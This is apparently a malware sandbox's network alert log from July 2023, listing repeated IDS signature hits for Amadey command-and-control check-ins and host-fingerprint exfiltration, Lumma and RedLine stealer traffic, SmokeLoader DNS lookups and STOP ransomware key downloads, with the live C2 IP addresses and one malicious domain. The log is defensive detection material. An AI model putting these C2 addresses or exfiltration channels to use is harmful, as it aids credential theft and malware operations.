Timestamp:	192.168.2.4188.114.96.749924802043206 07/27/23-18:27:54.448843
SID:	2043206
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849925802045057 07/27/23-18:27:55.858359
SID:	2045057
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049994802044695 07/27/23-18:27:58.978417
SID:	2044695
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749917802043206 07/27/23-18:27:53.994431
SID:	2043206
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049887802027700 07/27/23-18:27:49.864302
SID:	2027700
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050037802044695 07/27/23-18:28:05.896049
SID:	2044695
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749970802043206 07/27/23-18:27:57.484583
SID:	2043206
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049806802027700 07/27/23-18:27:37.514205
SID:	2027700
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049951802044695 07/27/23-18:27:56.045492
SID:	2044695
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049792802027700 07/27/23-18:27:34.959840
SID:	2027700
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749939802043206 07/27/23-18:27:55.072377
SID:	2043206
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049727802044695 07/27/23-18:27:21.756307
SID:	2044695
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049755802044695 07/27/23-18:27:27.957342
SID:	2044695
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049942802027700 07/27/23-18:27:55.350331
SID:	2027700
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050003802027700 07/27/23-18:28:00.099540
SID:	2027700
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 51.89.201.49 - Destination IP: 192.168.2.4

Timestamp:	51.89.201.49192.168.2.46932499342043234 07/27/23-18:28:02.892495
SID:	2043234
Source Port:	6932
Destination Port:	49934
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050038802027700 07/27/23-18:28:06.119097
SID:	2027700
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049809802044695 07/27/23-18:27:37.995741
SID:	2044695
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049870802027700 07/27/23-18:27:47.871063
SID:	2027700
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049787802027700 07/27/23-18:27:31.828761
SID:	2027700
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049929802027700 07/27/23-18:27:54.687517
SID:	2027700
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049810802044695 07/27/23-18:27:38.197127
SID:	2044695
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049845802044695 07/27/23-18:27:42.891419
SID:	2044695
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer Activity (Response) - Source IP: 51.89.201.49 - Destination IP: 192.168.2.4

Timestamp:	51.89.201.49192.168.2.46932497472046056 07/27/23-18:27:29.373492
SID:	2046056
Source Port:	6932
Destination Port:	49747
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049769802027700 07/27/23-18:27:29.903197
SID:	2027700
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049965802027700 07/27/23-18:27:57.250470
SID:	2027700
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049947802027700 07/27/23-18:27:55.843244
SID:	2027700
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749993802043206 07/27/23-18:27:58.810113
SID:	2043206
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050019802044695 07/27/23-18:28:03.107194
SID:	2044695
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049827802044695 07/27/23-18:27:40.254584
SID:	2044695
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049839802027700 07/27/23-18:27:41.877546
SID:	2027700
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 179.25.2.95 - Destination IP: 192.168.2.4

Timestamp:	179.25.2.95192.168.2.480497402036335 07/27/23-18:27:23.640944
SID:	2036335
Source Port:	80
Destination Port:	49740
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049745802044695 07/27/23-18:27:23.742061
SID:	2044695
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849871802045057 07/27/23-18:27:49.552132
SID:	2045057
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049759802027700 07/27/23-18:27:29.063771
SID:	2027700
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049824802027700 07/27/23-18:27:39.782384
SID:	2027700
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049742802044695 07/27/23-18:27:23.104290
SID:	2044695
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049968802044695 07/27/23-18:27:57.470848
SID:	2044695
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049775802044695 07/27/23-18:27:30.711121
SID:	2044695
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049825802044695 07/27/23-18:27:40.018920
SID:	2044695
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049860802027700 07/27/23-18:27:46.706954
SID:	2027700
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050009802044695 07/27/23-18:28:01.040405
SID:	2044695
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050005802027700 07/27/23-18:28:00.408770
SID:	2027700
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749973802043206 07/27/23-18:27:57.643806
SID:	2043206
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050012802044695 07/27/23-18:28:01.740311
SID:	2044695
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049938802044695 07/27/23-18:27:55.077331
SID:	2044695
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Blackmoon CnC Activity - Source IP: 192.168.2.4 - Destination IP: 103.100.211.218

Timestamp:	192.168.2.4103.100.211.21849712802839238 07/27/23-18:27:08.184137
SID:	2839238
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 51.89.201.49 - Destination IP: 192.168.2.4

Timestamp:	51.89.201.49192.168.2.46932497472043234 07/27/23-18:27:24.213349
SID:	2043234
Source Port:	6932
Destination Port:	49747
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.853370532045695 07/27/23-18:27:23.940440
SID:	2045695
Source Port:	53370
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049819802044695 07/27/23-18:27:39.203190
SID:	2044695
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749985802043206 07/27/23-18:27:58.308299
SID:	2043206
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050013802027700 07/27/23-18:28:02.128391
SID:	2027700
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049812802044695 07/27/23-18:27:38.391365
SID:	2044695
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049926802027700 07/27/23-18:27:54.503258
SID:	2027700
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049847802044695 07/27/23-18:27:43.126108
SID:	2044695
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 190.139.250.133

Timestamp:	192.168.2.4190.139.250.13349752802036333 07/27/23-18:27:26.988076
SID:	2036333
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049788802044695 07/27/23-18:27:32.742218
SID:	2044695
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050039802044695 07/27/23-18:28:06.311162
SID:	2044695
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749949802043206 07/27/23-18:27:55.915619
SID:	2043206
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049748802027700 07/27/23-18:27:27.244170
SID:	2027700
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050018802027700 07/27/23-18:28:02.909532
SID:	2027700
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749910802043206 07/27/23-18:27:53.627608
SID:	2043206
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049867802027700 07/27/23-18:27:47.671311
SID:	2027700
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050040802044695 07/27/23-18:28:06.500314
SID:	2044695
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049832802027700 07/27/23-18:27:40.853840
SID:	2027700
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050034802044695 07/27/23-18:28:05.332894
SID:	2044695
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049875802044695 07/27/23-18:27:48.484965
SID:	2044695
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049884802044695 07/27/23-18:27:49.664500
SID:	2044695
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.854075532023883 07/27/23-18:27:41.500953
SID:	2023883
Source Port:	54075
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families) - Source IP: 91.227.16.22 - Destination IP: 192.168.2.4

Timestamp:	91.227.16.22192.168.2.480498612018572 07/27/23-18:27:46.927935
SID:	2018572
Source Port:	80
Destination Port:	49861
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 190.139.250.133 - Destination IP: 192.168.2.4

Timestamp:	190.139.250.133192.168.2.480497382036335 07/27/23-18:27:23.947985
SID:	2036335
Source Port:	80
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049758802027700 07/27/23-18:27:28.375754
SID:	2027700
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049828802027700 07/27/23-18:27:40.450623
SID:	2027700
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049819802027700 07/27/23-18:27:39.203190
SID:	2027700
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050000802027700 07/27/23-18:27:59.739361
SID:	2027700
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049742802027700 07/27/23-18:27:23.104290
SID:	2027700
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049893802044695 07/27/23-18:27:50.407681
SID:	2044695
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049991802044695 07/27/23-18:27:58.716334
SID:	2044695
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050016802027700 07/27/23-18:28:02.730584
SID:	2027700
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049889802027700 07/27/23-18:27:50.056615
SID:	2027700
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050025802027700 07/27/23-18:28:03.989312
SID:	2027700
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049822802027700 07/27/23-18:27:39.595818
SID:	2027700
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049911802027700 07/27/23-18:27:53.652703
SID:	2027700
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050034802027700 07/27/23-18:28:05.332894
SID:	2027700
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049805802044695 07/27/23-18:27:37.016040
SID:	2044695
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049725802044695 07/27/23-18:27:21.486110
SID:	2044695
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049813802027700 07/27/23-18:27:38.592958
SID:	2027700
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049902802027700 07/27/23-18:27:53.227235
SID:	2027700
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049918802027700 07/27/23-18:27:54.102597
SID:	2027700
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049959802027700 07/27/23-18:27:56.813648
SID:	2027700
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049875802027700 07/27/23-18:27:48.484965
SID:	2027700
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 211.171.233.129

Timestamp:	192.168.2.4211.171.233.12949732802020826 07/27/23-18:27:22.491909
SID:	2020826
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.850911532045695 07/27/23-18:26:40.315075
SID:	2045695
Source Port:	50911
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049847802027700 07/27/23-18:27:43.126108
SID:	2027700
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049977802027700 07/27/23-18:27:57.916686
SID:	2027700
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049723802027700 07/27/23-18:27:20.997197
SID:	2027700
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049812802027700 07/27/23-18:27:38.391365
SID:	2027700
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049815802044695 07/27/23-18:27:38.771452
SID:	2044695
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization) - Source IP: 192.168.2.4 - Destination IP: 51.89.201.49

Timestamp:	192.168.2.451.89.201.494993469322046045 07/27/23-18:28:02.863918
SID:	2046045
Source Port:	49934
Destination Port:	6932
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 190.139.250.133

